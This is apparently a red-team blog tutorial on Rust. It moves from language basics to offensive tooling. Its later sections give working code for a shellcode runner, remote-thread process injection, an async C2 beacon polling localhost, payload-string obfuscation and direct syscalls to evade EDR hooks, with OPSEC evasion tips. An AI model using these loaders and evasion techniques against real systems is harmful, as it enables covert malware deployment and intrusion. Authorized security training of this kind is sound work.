Skip to main content
  1. Posts/

Fearless Concurrency: A Red Team Guide to Rust

··5909 words·28 mins·
Table of Contents

Rust is a systems language with C-level performance and the kind of memory safety guarantees that eliminate whole categories of bugs you’d usually be exploiting. That feels counterintuitive for offensive work at first — why pick a “safe” language to write attacks in? — but the answer is practical. You get stable, fast tools that don’t crash mid-engagement, binaries with less-recognizable signatures than the C# and Python equivalents most EDRs were trained on, and a compiler that catches the kind of memory bugs that turn your dropper into a Windows error dialog at exactly the wrong moment.

The defensive side has noticed too. The 2023 US National Cybersecurity Strategy recommended a long-term shift to memory-safe languages, and the ONCD’s 2024 “Back to the Building Blocks” report named Rust specifically. That’s a defensive concern, but it works in offensive favor: the more legitimate Rust binaries are on disk, the less your Rust implant stands out.

This post covers Rust from basics through ownership, concurrency, and the actually-interesting bits — direct syscalls, process injection, async C2, and obfuscation. The Windows API shellcode runner is at the end.


Setting up your Rust environment
#

Installing Rust
#

Rust ships through rustup, which manages toolchains and targets.

Linux/macOS:

curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh

Windows:

Download and run the installer from rustup.rs .

After installation, confirm cargo (Rust’s package manager and build tool) is in your path:

rustc --version
cargo --version

Essential tools for offensive development
#

# Add the Windows target for cross-compilation from Linux
rustup target add x86_64-pc-windows-gnu

# Install useful components
rustup component add clippy  # Linter
rustup component add rustfmt # Code formatter

For Windows development, you’ll need a linker toolchain. On Linux, install mingw-w64:

# Debian/Ubuntu
sudo apt install mingw-w64

# Arch
sudo pacman -S mingw-w64-gcc

Your first Rust project
#

cargo new my_offensive_tool
cd my_offensive_tool
cargo build --release
cargo run

The Cargo.toml file manages dependencies, and src/main.rs is where your code lives.


Rust language fundamentals
#

Variables and mutability
#

Variables are immutable by default. Assignment binds a name once; rebinding requires mut.

fn main() {
    let x = 5;           // Immutable by default
    // x = 6;            // ERROR: cannot assign twice to immutable variable

    let mut y = 10;      // Mutable with 'mut' keyword
    y = 20;              // This is allowed

    const MAX_PORTS: u16 = 65535;  // Compile-time constant (SCREAMING_SNAKE_CASE)

    println!("x = {}, y = {}, MAX = {}", x, y, MAX_PORTS);
}

Shadowing
#

You can declare a new variable with the same name, “shadowing” the previous one. This is useful for type conversions:

fn main() {
    let spaces = "   ";           // &str (string slice)
    let spaces = spaces.len();    // Now it's usize (integer)
    println!("Number of spaces: {}", spaces);
}

Data types
#

Rust is statically typed, meaning the compiler must know all types at compile time.

Scalar Types:

fn main() {
    // Integers (default is i32)
    let port: u16 = 443;            // Unsigned 16-bit (0 to 65535)
    let offset: i64 = -0x1000;      // Signed 64-bit
    let byte: u8 = 0x90;            // NOP instruction

    // Floats
    let ratio: f64 = 0.75;

    // Boolean
    let is_admin: bool = true;

    // Character (4 bytes, Unicode scalar value)
    let sample_char: char = 'Z';

    println!("Port: {}, Is Admin: {}, Char: {}", port, is_admin, sample_char);
}

Compound Types:

fn main() {
    // Tuple: fixed-length, mixed types
    let target: (&str, u16, bool) = ("192.168.1.1", 445, true);
    let (ip, port, is_open) = target;  // Destructuring
    println!("{}:{} - Open: {}", ip, port, is_open);

    // Array: fixed-length, same type (stack allocated)
    let shellcode: [u8; 4] = [0x90, 0x90, 0x90, 0xCC];  // NOPs + INT3
    println!("First byte: 0x{:02X}", shellcode[0]);

    // Vector: dynamic length (heap allocated)
    let mut ports: Vec<u16> = Vec::new();
    ports.push(22);
    ports.push(80);
    ports.push(443);
    println!("Ports to scan: {:?}", ports);
}

Operators
#

fn main() {
    // Arithmetic
    let a = 10 + 5;
    let b = 10 - 5;
    let c = 10 * 5;
    let d = 10 / 3;     // Integer division = 3
    let e = 10 % 3;     // Remainder = 1

    // Comparison (returns bool)
    let equal = (5 == 5);
    let not_equal = (5 != 3);
    let greater = (5 > 3);

    // Logical
    let and = true && false;
    let or = true || false;
    let not = !true;

    // Bitwise (crucial for shellcode and protocol work)
    let xor = 0xAA ^ 0x55;      // XOR encryption
    let and_mask = 0xFF & 0x0F; // Masking
    let shift_left = 1 << 3;    // 8
    let shift_right = 0x80 >> 4; // 0x08

    println!("XOR: 0x{:02X}, Shift: {}", xor, shift_left);
}

Control structures
#

If/Else:

fn check_port(port: u16) {
    if port < 1024 {
        println!("Port {} is privileged (requires root)", port);
    } else if port == 3389 {
        println!("Port {} is RDP - interesting!", port);
    } else {
        println!("Port {} is a high port", port);
    }
}

// Rust's if is an expression - it returns a value
fn get_service(port: u16) -> &'static str {
    if port == 22 { "SSH" } else if port == 80 { "HTTP" } else { "Unknown" }
}

Loops:

fn main() {
    // Infinite loop with break
    let mut counter = 0;
    let result = loop {
        counter += 1;
        if counter == 10 {
            break counter * 2;  // Returns 20
        }
    };
    println!("Loop result: {}", result);

    // While loop
    let mut n = 3;
    while n != 0 {
        println!("{}...", n);
        n -= 1;
    }
    println!("LIFTOFF!");

    // For loop (most common, safe)
    let ports = [22, 80, 443, 3389];
    for port in ports.iter() {
        println!("Scanning port {}", port);
    }

    // Range-based for loop
    for port in 1..1024 {  // 1 to 1023 (exclusive)
        // Do something
    }
    for port in 1..=1024 { // 1 to 1024 (inclusive)
        // Do something
    }
}

Functions
#

// Function with parameters and return type
fn calculate_checksum(data: &[u8]) -> u32 {
    let mut sum: u32 = 0;
    for byte in data {
        sum = sum.wrapping_add(*byte as u32);  // Prevent overflow panic
    }
    sum  // No semicolon = implicit return
}

fn main() {
    let payload: [u8; 4] = [0x90, 0x90, 0xCC, 0xC3];
    let checksum = calculate_checksum(&payload);
    println!("Checksum: 0x{:08X}", checksum);
}

Ownership and borrowing
#

Ownership is how Rust manages memory without a garbage collector. The compiler tracks who owns each allocation and inserts the free at the end of that owner’s scope. You get C-like performance and predictable timing with no GC pauses mid-exploit.

The rules of ownership
#

  1. Every value has exactly one owner.
  2. When the owner goes out of scope, the value is dropped.
  3. Ownership transfers (“moves”) by default on assignment or function call.

Moving versus copying
#

Simple scalar types (integers, floats, booleans) use the Copy trait, so Rust copies them on assignment. Complex types (String, Vec, etc.) move by default.

fn main() {
    // Copy semantics (stack-only data)
    let x: i32 = 5;
    let y = x;      // x is COPIED, both are valid
    println!("x = {}, y = {}", x, y);  // Works!

    // Move semantics (heap data)
    let s1 = String::from("payload");
    let s2 = s1;    // s1 is MOVED to s2, s1 is now INVALID
    // println!("{}", s1);  // ERROR: borrow of moved value
    println!("{}", s2);  // Works!
}

Borrowing with references
#

To use a value without taking ownership, you borrow it using a reference (&).

fn main() {
    let s1 = String::from("payload");
    let len = calculate_length(&s1);  // Pass a reference
    println!("'{}' has {} bytes", s1, len);  // s1 is still valid!
}

fn calculate_length(s: &String) -> usize {
    s.len()  // We can read s, but not change it
}

Mutable borrowing
#

To change a borrowed value, you need a mutable reference (&mut).

fn main() {
    let mut buffer = String::from("GET /");
    append_host(&mut buffer, "target.com");
    println!("{}", buffer);  // "GET / HTTP/1.1\r\nHost: target.com"
}

fn append_host(request: &mut String, host: &str) {
    request.push_str(" HTTP/1.1\r\nHost: ");
    request.push_str(host);
}

The borrowing rules:

  1. At any time, you can have either one mutable reference or any number of immutable ones — never both.
  2. References must always be valid (no dangling pointers).

These two rules prevent data races at compile time. That’s the “fearless concurrency” tagline.

Why this matters for security
#

The same rules eliminate the classic memory-corruption bugs at compile time:

  • Use-after-free: the compiler refuses to let you use a value after its owner drops it.
  • Double free: only one owner can drop a value, so a second free never compiles.
  • Data races: mutable and shared borrows can’t coexist, so two threads can’t be writing the same memory.

These are the bugs you’d usually be exploiting. In safe Rust they don’t compile.


Pattern matching and enums
#

match covers what switch does in C, but it forces exhaustive coverage and works on enum variants with attached data. That’s useful for parsing protocols or branching on scan results without a chain of ifs that the compiler can’t check.

enums with data structures
#

enum ScanResult {
    Open(u16),              // Port number
    Closed(u16),
    Filtered(u16),
    Error(u16, String),     // Port and error message
}

fn handle_result(result: ScanResult) {
    match result {
        ScanResult::Open(port) => println!("[+] Port {} is OPEN", port),
        ScanResult::Closed(port) => println!("[-] Port {} is closed", port),
        ScanResult::Filtered(port) => println!("[?] Port {} is filtered", port),
        ScanResult::Error(port, msg) => eprintln!("[!] Port {} error: {}", port, msg),
    }
}

The Option type
#

Rust does not have null. Instead, it uses Option<T> to represent values that might be absent.

fn find_service(port: u16) -> Option<&'static str> {
    match port {
        22 => Some("SSH"),
        80 => Some("HTTP"),
        443 => Some("HTTPS"),
        445 => Some("SMB"),
        3389 => Some("RDP"),
        _ => None,
    }
}

fn main() {
    let port = 445;
    match find_service(port) {
        Some(service) => println!("Port {} -> {}", port, service),
        None => println!("Port {} -> Unknown service", port),
    }

    // Or use if-let for simpler cases
    if let Some(svc) = find_service(22) {
        println!("SSH detected: {}", svc);
    }
}

The Result type and error handling
#

Rust does not have exceptions. It uses Result<T, E> to represent operations that can fail.

use std::fs::File;
use std::io::{self, Read};

fn read_wordlist(path: &str) -> Result<String, io::Error> {
    let mut file = File::open(path)?;  // ? propagates error if open fails
    let mut contents = String::new();
    file.read_to_string(&mut contents)?;
    Ok(contents)
}

fn main() {
    match read_wordlist("/usr/share/wordlists/rockyou.txt") {
        Ok(data) => println!("Loaded {} bytes", data.len()),
        Err(e) => eprintln!("Failed to load wordlist: {}", e),
    }
}

The ? operator is sugar for “if this Result is Err, return it early; otherwise unwrap the Ok.” It’s how error handling looks in idiomatic Rust — almost invisible in the happy path.


Structs and impl blocks
#

Structs hold named fields. Methods live in an impl block, not on the struct itself.

struct Target {
    ip: String,
    hostname: Option<String>,
    ports: Vec<u16>,
    is_dc: bool,
}

impl Target {
    // Associated function (like a static method or constructor)
    fn new(ip: &str) -> Self {
        Target {
            ip: ip.to_string(),
            hostname: None,
            ports: Vec::new(),
            is_dc: false,
        }
    }

    // Method (takes &self or &mut self)
    fn add_port(&mut self, port: u16) {
        if !self.ports.contains(&port) {
            self.ports.push(port);
        }
    }

    fn has_smb(&self) -> bool {
        self.ports.contains(&445)
    }

    fn display(&self) {
        let name = self.hostname.as_deref().unwrap_or("Unknown");
        println!("[Target: {} ({})]", self.ip, name);
        println!("  Ports: {:?}", self.ports);
        println!("  Is DC: {}", self.is_dc);
    }
}

fn main() {
    let mut target = Target::new("192.168.1.10");
    target.hostname = Some("DC01.corp.local".to_string());
    target.add_port(445);
    target.add_port(88);
    target.add_port(389);
    target.is_dc = true;

    target.display();

    if target.has_smb() {
        println!("[+] SMB is open - consider relay attacks!");
    }
}

Concurrency: a multi-threaded port scanner
#

The borrow checker catches data races at compile time, so the multithreaded code below is the obvious shape: spawn workers, give each one its own Sender, collect results on the main thread.

Basic threading with channels
#

use std::net::{IpAddr, SocketAddr, TcpStream};
use std::sync::mpsc::{channel, Sender};
use std::thread;
use std::time::Duration;

fn scan_port(tx: Sender<u16>, ip: IpAddr, port: u16) {
    let addr = SocketAddr::new(ip, port);
    // Timeout is critical for network scanning
    if TcpStream::connect_timeout(&addr, Duration::from_millis(200)).is_ok() {
        // Send the open port back to the main thread
        tx.send(port).expect("Channel send failed");
    }
}

fn main() {
    let target: IpAddr = "127.0.0.1".parse().expect("Invalid IP");
    let (tx, rx) = channel();  // Multi-producer, single-consumer channel

    let mut handles = Vec::new();

    // Scan first 1024 ports
    for port in 1..=1024 {
        let tx_clone = tx.clone();
        let handle = thread::spawn(move || {
            scan_port(tx_clone, target, port);
        });
        handles.push(handle);
    }

    // Drop original sender so receiver knows when to stop
    drop(tx);

    // Wait for all threads to complete
    for handle in handles {
        handle.join().expect("Thread panicked");
    }

    // Collect and print results
    println!("\n[+] Open Ports:");
    let mut open_ports: Vec<u16> = rx.iter().collect();
    open_ports.sort();
    for port in open_ports {
        println!("    {}", port);
    }
}

Thread pooling with rayon
#

Spawning a thread per port is inefficient for 65k ports. Use a thread pool:

# Cargo.toml
[dependencies]
rayon = "1.8"
use rayon::prelude::*;
use std::net::{IpAddr, SocketAddr, TcpStream};
use std::sync::Mutex;
use std::time::Duration;

fn main() {
    let target: IpAddr = "127.0.0.1".parse().unwrap();
    let open_ports = Mutex::new(Vec::new());

    // Parallel iteration over all ports
    (1..=65535_u16).into_par_iter().for_each(|port| {
        let addr = SocketAddr::new(target, port);
        if TcpStream::connect_timeout(&addr, Duration::from_millis(100)).is_ok() {
            open_ports.lock().unwrap().push(port);
        }
    });

    let mut results = open_ports.into_inner().unwrap();
    results.sort();

    println!("[+] Open Ports on {}:", target);
    for port in results {
        println!("    {}", port);
    }
}

rayon owns the thread pool, work stealing, and load balancing. The whole scan is around fifteen lines, and it doesn’t fall over when you point it at all 65k ports.


Networking: TCP and HTTP clients
#

Raw TCP client
#

use std::io::{Read, Write};
use std::net::TcpStream;
use std::time::Duration;

fn grab_banner(ip: &str, port: u16) -> Result<String, Box<dyn std::error::Error>> {
    let addr = format!("{}:{}", ip, port);
    let mut stream = TcpStream::connect_timeout(
        &addr.parse()?,
        Duration::from_secs(5)
    )?;

    stream.set_read_timeout(Some(Duration::from_secs(3)))?;

    // Some services send a banner immediately (SSH, FTP, SMTP)
    let mut buffer = [0u8; 1024];
    let n = stream.read(&mut buffer)?;

    Ok(String::from_utf8_lossy(&buffer[..n]).to_string())
}

fn main() {
    match grab_banner("127.0.0.1", 22) {
        Ok(banner) => println!("[+] SSH Banner:\n{}", banner.trim()),
        Err(e) => eprintln!("[-] Error: {}", e),
    }
}

HTTP client with reqwest
#

For higher-level HTTP work, use the reqwest crate:

# Cargo.toml
[dependencies]
reqwest = { version = "0.11", features = ["blocking"] }
use reqwest::blocking::Client;
use std::time::Duration;

fn check_url(url: &str) -> Result<(u16, usize), reqwest::Error> {
    let client = Client::builder()
        .timeout(Duration::from_secs(10))
        .danger_accept_invalid_certs(true)  // Ignore TLS errors for internal testing
        .build()?;

    let resp = client.get(url).send()?;
    let status = resp.status().as_u16();
    let body = resp.text()?;

    Ok((status, body.len()))
}

fn main() {
    let urls = vec![
        "http://localhost/",
        "http://localhost/admin",
        "http://localhost/robots.txt",
    ];

    for url in urls {
        match check_url(url) {
            Ok((status, len)) => println!("[{}] {} ({} bytes)", status, url, len),
            Err(_) => println!("[ERR] {}", url),
        }
    }
}

Unsafe Rust and the Windows API
#

Anything that touches the kernel, dereferences a raw pointer, or calls into a foreign function lives behind unsafe. The keyword doesn’t turn off the borrow checker — it grants four extra abilities the compiler can’t verify on your behalf:

  1. Dereference raw pointers.
  2. Call an unsafe function or method.
  3. Read or mutate a mutable static.
  4. Implement an unsafe trait.

Everything else still has to type-check.

The windows crate
#

Microsoft maintains the windows crate, which gives you bindings to the full Win32 surface. Safe wrappers where the API allows it, raw unsafe bindings where it doesn’t.

# Cargo.toml
[dependencies]
windows = { version = "0.58", features = [
  "Win32_Foundation",
  "Win32_System_Memory",
  "Win32_System_Threading",
] }

Shellcode runner (proof of concept)
#

The runner below allocates memory, copies shellcode in, flips the protection to executable, and jumps to it. It’s the textbook in-process loader.

Warning

This is for educational purposes on systems you own or have explicit authorization to test. Deploying malware without authorization is illegal.

#![cfg(target_os = "windows")]

use std::ptr;
use windows::Win32::System::Memory::{
    VirtualAlloc, VirtualProtect,
    MEM_COMMIT, MEM_RESERVE,
    PAGE_READWRITE, PAGE_EXECUTE_READ, PAGE_PROTECTION_FLAGS,
};

/// Allocates memory, copies shellcode, and executes it.
/// Uses read-write to read-execute to avoid read-write-execute pages (EDR red flag).
fn execute_shellcode(shellcode: &[u8]) -> Result<(), &'static str> {
    unsafe {
        // 1. Allocate Read-Write memory
        let addr = VirtualAlloc(
            None,                           // Let the system choose the address
            shellcode.len(),                // Size of the allocation
            MEM_COMMIT | MEM_RESERVE,       // Commit and reserve pages
            PAGE_READWRITE,                 // Start read-write (not executable)
        );

        if addr.is_null() {
            return Err("VirtualAlloc failed");
        }

        // 2. Copy shellcode into the allocated memory
        ptr::copy_nonoverlapping(
            shellcode.as_ptr(),
            addr as *mut u8,
            shellcode.len(),
        );

        // 3. Change protection from read-write to read-execute
        // This avoids the read-write-execute red flag that EDRs look for
        let mut old_protect = PAGE_PROTECTION_FLAGS::default();
        let protect_result = VirtualProtect(
            addr,
            shellcode.len(),
            PAGE_EXECUTE_READ,
            &mut old_protect,
        );

        if protect_result.is_err() {
            return Err("VirtualProtect failed");
        }

        // 4. Cast memory to a function pointer and execute
        let exec_fn: extern "system" fn() = std::mem::transmute(addr);
        exec_fn();

        Ok(())
    }
}

fn main() {
    // Example: x64 Windows shellcode for calc.exe (replace with your payload)
    // This is a stub - real shellcode would be generated by msfvenom or similar
    let shellcode: [u8; 4] = [
        0x90,  // NOP
        0x90,  // NOP
        0xCC,  // INT3 (breakpoint - for debugging)
        0xC3,  // RET
    ];

    println!("[*] Allocating memory and executing shellcode...");
    match execute_shellcode(&shellcode) {
        Ok(()) => println!("[+] shellcode executed successfully"),
        Err(e) => eprintln!("[-] Error: {}", e),
    }
}

Key OPSEC considerations (read-write and read-execute)
#

  1. Avoid read-write-execute pages: This example uses PAGE_READWRITE for copying, then VirtualProtect to flip to PAGE_EXECUTE_READ. This is stealthier than allocating PAGE_EXECUTE_READWRITE directly.
  2. Encrypt your shellcode: Embed encrypted shellcode and decrypt it in memory before execution to evade static signature detection.
  3. syscall evasion: Some EDR tooling hooks user-mode API calls. Advanced techniques call NtAllocateVirtualMemory directly or use syscalls.
  4. Compilation profile: Use --release for optimized binaries and consider stripping symbols.

Asynchronous Rust: building a high-performance C2
#

OS threads work fine for the port-scanner example. They don’t scale to a C2 server with thousands of concurrent agents or an implant juggling keylogging, screen capture, and network sniffing without blocking. For that, you want async/await — the same model JavaScript and Python use, except Rust resolves it to state machines at compile time and runs them on whichever thread is free.

The Rust standard library defines the async traits but doesn’t ship a runtime. The runtime is what actually polls and schedules futures. In practice, that’s Tokio — the alternative runtimes exist (async-std, smol) but Tokio has the ecosystem.

An async C2 beacon stub
#

Here is an example of an asynchronous HTTP beacon that sleeps efficiently (without blocking a thread) and executes commands.

[dependencies]
tokio = { version = "1", features = ["full"] }
reqwest = { version = "0.11", features = ["json"] }
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
use reqwest::Client;
use serde::{Deserialize, Serialize};
use std::time::Duration;
use tokio::time::sleep;

#[derive(Serialize, Deserialize, Debug)]
struct Task {
    id: String,
    command: String,
    args: Vec<String>,
}

#[derive(Serialize, Deserialize, Debug)]
struct Response {
    id: String,
    output: String,
}

const C2_URL: &str = "http://127.0.0.1:8080/api/beacon";
const AGENT_ID: &str = "agent-x-42";

async fn fetch_task(client: &Client) -> Result<Option<Task>, reqwest::Error> {
    // Send a heartbeat and ask for tasks
    let resp = client.get(format!("{}/{}", C2_URL, AGENT_ID))
        .send()
        .await?;

    if resp.status().is_success() {
        let task = resp.json::<Task>().await?;
        Ok(Some(task))
    } else {
        Ok(None)
    }
}

async fn send_result(client: &Client, task_id: &str, output: &str) -> Result<(), reqwest::Error> {
    let response = Response {
        id: task_id.to_string(),
        output: output.to_string(),
    };
    
    client.post(format!("{}/response", C2_URL))
        .json(&response)
        .send()
        .await?;
        
    Ok(())
}

#[tokio::main]
async fn main() {
    let client = Client::new();
    let sleep_interval = Duration::from_secs(5);

    println!("[*] Agent {} starting...", AGENT_ID);

    loop {
        // Beacon
        match fetch_task(&client).await {
            Ok(Some(task)) => {
                println!("[+] Received task: {}", task.command);
                
                // Execute (Simulated)
                let output = if task.command == "whoami" {
                    "nt authority\\system".to_string()
                } else {
                    format!("Unknown command: {}", task.command)
                };

                // Send result
                if let Err(e) = send_result(&client, &task.id, &output).await {
                    eprintln!("[-] Failed to send result: {}", e);
                }
            }
            Ok(None) => {
                // No task, go back to sleep
            }
            Err(e) => {
                eprintln!("[-] Connection error: {}", e);
            }
        }

        // Non-blocking sleep: yields the thread to other tasks
        sleep(sleep_interval).await;
    }
}

The shape is different from the threaded scanner. sleep(...).await doesn’t park the thread — it yields control back to the runtime, which goes off and polls whichever other task is ready. A single OS thread can hold hundreds of these state machines. Scale that to a C2 with thousands of agents and you stop being able to do it any other way.


Evasion: process injection
#

The runner above injected code into its own process, which is fine for testing but useless operationally — kill the dropper, lose the payload. Real loaders inject into a host process (explorer.exe, notepad.exe, anything plausibly already running) so the implant outlives the dropper that planted it.

Classic remote-thread injection is the simplest version using the windows crate.

Remote thread injection
#

The four steps:

  1. Getting a handle to a target process (OpenProcess).
  2. Allocating memory in that process (VirtualAllocEx).
  3. Writing our payload (WriteProcessMemory).
  4. Creating a thread in that process to run the payload (CreateRemoteThread).
use std::ffi::c_void;
use std::ptr;
use windows::Win32::Foundation::{CloseHandle, FALSE};
use windows::Win32::System::Diagnostics::Debug::WriteProcessMemory;
use windows::Win32::System::Memory::{
    VirtualAllocEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE,
};
use windows::Win32::System::Threading::{
    CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS,
};

fn inject_shellcode(pid: u32, shellcode: &[u8]) -> Result<(), String> {
    unsafe {
        // 1. Open the target process
        let process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)
            .map_err(|e| format!("OpenProcess failed: {}", e))?;

        if process_handle.is_invalid() {
            return Err("Invalid process handle".into());
        }

        // 2. Allocate memory in the target process
        let remote_addr = VirtualAllocEx(
            process_handle,
            None,
            shellcode.len(),
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE, // Note: RWX is a major IOC!
        );

        if remote_addr.is_null() {
            CloseHandle(process_handle);
            return Err("VirtualAllocEx failed".into());
        }

        // 3. Write shellcode
        let mut bytes_written = 0;
        let write_result = WriteProcessMemory(
            process_handle,
            remote_addr,
            shellcode.as_ptr() as *const c_void,
            shellcode.len(),
            Some(&mut bytes_written),
        );

        if write_result.is_err() || bytes_written != shellcode.len() {
            CloseHandle(process_handle);
            return Err("WriteProcessMemory failed".into());
        }

        // 4. Create remote thread
        let thread_handle = CreateRemoteThread(
            process_handle,
            None,
            0,
            Some(std::mem::transmute(remote_addr)),
            None,
            0,
            None,
        );

        if thread_handle.is_err() {
            CloseHandle(process_handle);
            return Err("CreateRemoteThread failed".into());
        }

        // Cleanup
        CloseHandle(thread_handle.unwrap());
        CloseHandle(process_handle);
        
        Ok(())
    }
}
Caution

OPSEC Warning: The use of PAGE_EXECUTE_READWRITE (RWX) memory is a massive red flag for any EDR. A better approach (standard in modern loaders) is:

  1. Allocate as PAGE_READWRITE.
  2. Write the shellcode.
  3. Use VirtualProtectEx to flip it to PAGE_EXECUTE_READ.

Furthermore, APIs like CreateRemoteThread are heavily hooked. Modern Rust malware often uses Direct Syscalls (using crates like windows-syscalls) to bypass user-mode hooks entirely.


Obfuscation: hiding your intent
#

The first thing an analyst does with an unknown binary is run strings on it. If yours contains cmd.exe, OpenProcess, http://bad-c2.example, or anything else that betrays intent, you’ve handed them the reverse-engineering shortcut. Rust’s compile-time macros make it easy to keep those out of the static binary entirely — strings get encrypted at compile time and decrypted in memory only when needed.

The obfstr crate
#

[dependencies]
obfstr = "0.4"
use obfstr::obfstr;

fn main() {
    // The string "powershell.exe" never appears in the binary
    let shell = obfstr!("powershell.exe");
    println!("Launching: {}", shell);

    // It works for static contexts too
    let url = obfstr!("https://very-legit-domain.com/payload.bin");
    download(url);
}

This crate uses XOR encryption with a random key generated at compile time. Every build produces a binary with different byte signatures for these strings.

API hashing
#

The other tell is your Import Address Table. If you link MessageBoxA directly, it shows up in the IAT and the analyst gets a free roadmap of what your binary does. The fix is to resolve the function pointer at runtime from a hash of the name, so the name itself never appears anywhere.

A full implementation is out of scope here, but the logic in Rust matches the C version:

  1. Walk the PEB (Process Environment Block).
  2. Find kernel32.dll.
  3. Walk its Export Address Table.
  4. Hash each function name.
  5. If hash matches target, call the function pointer.

Rust’s vobfuscator crate creates a similar effect by obfuscating control flow, though it is currently experimental.


Advanced evasion: direct system calls
#

In the previous process injection example, we used high-level Windows APIs like OpenProcess. These functions reside in kernel32.dll, which eventually calls NtOpenProcess in ntdll.dll, which then executes the syscall CPU instruction to transition to the kernel.

Modern EDRs hook ntdll.dll. They overwrite the start of NtOpenProcess with a jmp instruction that redirects execution to their own inspection DLL. If we call OpenProcess, we jump right into the EDR’s lap.

To bypass this, we can use Direct System Calls. We skip ntdll.dll entirely and execute the syscall instruction ourselves.

Implementing direct syscalls in Rust
#

Rust’s support for inline assembly (core::arch::asm!) makes this surprisingly ergonomic.

First, we need to know the System Service Number (SSN) for the function we want to call (for example, NtAllocateVirtualMemory). Note that SSNs change between Windows versions, so robust malware resolves them dynamically (a technique called “Hell’s Gate” or “Halo’s Gate”). For this example, we’ll use a hardcoded SSN for Windows 10.

use std::arch::asm;

/// A raw system call wrapper for NtAllocateVirtualMemory (x64)
unsafe fn my_nt_allocate_virtual_memory(
    process_handle: isize,
    base_address: *mut *mut std::ffi::c_void,
    zero_bits: usize,
    region_size: *mut usize,
    allocation_type: u32,
    protect: u32,
) -> i32 {
    let mut status: i32;
    
    // The SSN for NtAllocateVirtualMemory on Windows 10 1903+ is often 0x18
    // In reality, you must resolve this dynamically!
    let ssn: u32 = 0x18; 

    asm!(
        "mov r10, rcx",
        "mov eax, {0:e}",
        "syscall",
        in(reg) ssn,
        in("rcx") process_handle,
        in("rdx") base_address,
        in("r8") zero_bits,
        in("r9") region_size,
        lateout("rax") status,
        // The remaining arguments are passed on the stack per x64 calling convention
        // This is simplified; handling >4 args in inline asm is tricky.
        // For production, use the `syscalls` crate.
    );

    status
}

This code is invisible to user-mode hooks. The EDR monitoring ntdll.dll will never see this call happen.

The Rust community has wrapped this complexity in crates like windows-syscalls or freshycalls, which allow you to define the prototypes and handle the SSN resolution automatically.


CLI argument parsing
#

std::env::args() is fine for throwaway scripts but tedious for anything you want to reuse. The de facto crate is clap, which derives a parser straight from your struct definitions.

[dependencies]
clap = { version = "4.0", features = ["derive"] }
use clap::{Parser, Subcommand};

#[derive(Parser)]
#[command(author, version, about = "Rust Red Team Toolset")]
struct Cli {
    /// Target IP address or hostname
    #[arg(short, long)]
    target: String,

    /// Target port
    #[arg(short, long, default_value_t = 80)]
    port: u16,

    /// Mode of operation
    #[command(subcommand)]
    command: Option<Commands>,
}

#[derive(Subcommand)]
enum Commands {
    /// Perform a port scan
    Scan {
        /// Scan all 65535 ports
        #[arg(long)]
        full: bool,
    },
    /// Exploit the target
    Exploit {
        /// Payload type (shell/calc/beacon)
        #[arg(short, long)]
        payload: String,
    },
}

fn main() {
    let cli = Cli::parse();

    println!("[*] Target: {}", cli.target);
    println!("[*] Port: {}", cli.port);

    match &cli.command {
        Some(Commands::Scan { full }) => {
            if *full {
                println!("[*] performing FULL scan...");
            } else {
                println!("[*] performing QUICK scan...");
            }
        }
        Some(Commands::Exploit { payload }) => {
            println!("[!] Launching exploit with payload: {}", payload);
        }
        None => {
            println!("[*] No command specified, running default check...");
        }
    }
}

Run it with --help and you get the generated usage text for free:

Rust Red Team Toolset 1.0
UncleSp1d3r
Red Team Toolset

USAGE:
    tool [OPTIONS] --target <TARGET>

OPTIONS:
    -t, --target <TARGET>    Target IP address or hostname
    -p, --port <PORT>        Target port [default: 80]
    -h, --help               Print help
    -V, --version            Print version

Clap handles --help generation, type validation, subcommands, and the dozen other things you’d otherwise reimplement badly. Worth using even for personal tools — the help text becomes the documentation, and the type validation catches typos before they become engagement-time mistakes.


Error handling: anyhow and thiserror
#

The Result examples earlier used std::io::Error or strings. Real programs hit a half-dozen error types per request path — IO, network, serialization, your own logic — and converting between them gets noisy fast.

For applications, anyhow is the standard. It gives you a single Result type that anything implementing Error can flow into, plus .context() for adding human-readable breadcrumbs.

use anyhow::{Context, Result};

fn connect_to_c2() -> Result<()> {
    // Context adds a message to the error chain
    let config = std::fs::read_to_string("config.json")
        .context("Failed to read C2 configuration file")?;
    
    // ... parse json ...
    
    Ok(())
}

fn main() {
    if let Err(e) = connect_to_c2() {
        eprintln!("Error: {:?}", e);
        // Prints: Error: Failed to read C2 configuration file
        // Caused by: The system cannot find the file specified. (os error 2)
    }
}

For libraries, use thiserror instead. It derives the std::error::Error impl from a custom enum so callers get a real, matchable error type rather than a bag of strings.


Foreign Function Interface: talking to C
#

Most operating system APIs are C interfaces, so any serious systems work in Rust eventually needs FFI. It’s not painless, but it’s straightforward.

Calling C from Rust
#

Suppose you have a legacy C library for a proprietary protocol you want to fuzz.

// legacy.c
int risky_function(char* input, int len) {
    // ...
    return 0;
}
// main.rs
use std::ffi::CString;
use std::os::raw::{c_char, c_int};

// Declare the external function
#[link(name = "legacy")]
extern "C" {
    fn risky_function(input: *const c_char, len: c_int) -> c_int;
}

fn call_legacy_code(data: &str) {
    let c_str = CString::new(data).expect("CString::new failed");
    unsafe {
        risky_function(c_str.as_ptr(), data.len() as c_int);
    }
}

Calling Rust from C
#

You can also write a shared library (.dll or .so) in Rust that can be loaded by a C program (or Python with ctypes, or a C# application).

// lib.rs
#[no_mangle]
pub extern "C" fn rust_entry_point() {
    println!("Hello from Rust DLL!");
}

Compile this with crate-type = ["cdylib"] in Cargo.toml, and you have a DLL that can be injected into processes using standard injection techniques.


Cargo and the crate ecosystem
#

cargo and crates.io cover dependency management, builds, tests, and publishing. Pulling in a library is one line of Cargo.toml. After years of working with pip, npm, and go mod, the lack of footguns here is genuinely the thing I’d miss most if I went back.

Useful crates for offensive development
#

CratePurpose
reqwestHTTP client (sync and async)
tokioAsynchronous runtime for high-performance I/O
clapCommand-line argument parsing
serde / serde_jsonSerialization/deserialization
rayonData parallelism (thread pools)
windowsOfficial Windows API bindings
nixUnix/Linux system calls
pcapPacket capture
dns-lookupDNS resolution
base64 / hexEncoding utilities
ring / aes-gcmCryptography
goblinPE/ELF/Mach-O binary parsing

Notable offensive Rust projects
#

  1. RustScan: The modern port scanner. Claims to scan 65k ports in seconds by adaptively adjusting ulimit and using asynchronous I/O.
